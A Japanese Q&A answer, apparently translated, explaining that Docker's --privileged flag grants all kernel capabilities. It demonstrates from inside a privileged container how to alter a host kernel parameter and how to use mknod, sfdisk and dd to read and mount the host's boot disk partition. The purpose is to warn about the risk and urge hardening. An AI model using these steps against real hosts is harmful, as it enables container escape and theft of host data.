特権モードでコンテナを実行している場合、すべてのカーネル機能を持っていますか、それとも個別に追加する必要がありますか?
特権モードで実行すると、実際にコンテナにすべての機能が与えられます。ただし、コンテナに必要な最小要件を常に指定することをお勧めします。
Dockerドキュメントを見ると、次のフラグも参照しています。
完全なコンテナ機能(--privileged)
--privilegedフラグは、コンテナにすべての機能を提供し、デバイスcgroupコントローラーによって強制されるすべての制限を解除します。つまり、コンテナはホストが実行できるほぼすべてのことを実行できます。このフラグは、Docker内でDockerを実行するなど、特別なユースケースを許可するために存在します。
--cap-add
フラグを使用して特定の機能を付与できます。これらの機能の詳細については、 man 7 capabilities
を参照してください。リテラル名を使用できます。 --cap-add CAP_FOWNER
。
--privileged
を使用してコンテナを実行する必要はありません。
NVMeドライブを搭載したラップトップでこれを行っていますが、どのホストでも機能します。
docker run --privileged -t -i --rm ubuntu:latest bash
まず、/ procファイルシステムをテストするために、ちょっとしたことをしましょう
コンテナから:
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
OK、コンテナまたはホスト用に変更しましたか?
$ cat /proc/sys/vm/swappiness
61
おっと!ホストカーネルパラメーターは任意に変更できます。しかし、これは単なるDOSの状況です。親ホストから特権情報を収集できるかどうかを確認しましょう。
/sys
ツリーを歩いて、ブートディスクのメジャーマイナー番号を見つけましょう。
注:2つのNVMeドライブがあり、コンテナは別のドライブのLVMで実行されています
root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2
OK、dbusルールが自動スキャンしない場所にデバイスファイルを作成しましょう。
root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>
ブートディスクを読み取って、パーティションの1つにデバイスファイルを作成します。開いているためマウントできませんが、dd
を使用してコピーできます。
root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s
OK、マウントして、私たちの努力がうまくいったかどうかを確認しましょう!!!
root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot Microsoft ubuntu
したがって、基本的に、誰でも--privileged
コンテナを起動できるコンテナホストは、そのホスト上のすべてのコンテナへのルートアクセスを許可することと同じです。
残念なことに、Dockerプロジェクトは信頼できるコンピューティングモデルを選択しており、認証プラグイン以外ではこれを保護する方法がないため、必要な機能を追加する場合と--privileged
を使用する場合は常に誤りがあります。
これをカバーするRedHatの良い記事 があります。
「ルート」として実行されているdockerコンテナは、ホスト上のルートよりも低い権限を持ちますが、ユースケースによっては強化が必要になる場合があります(開発環境と共有本番クラスターとして使用)。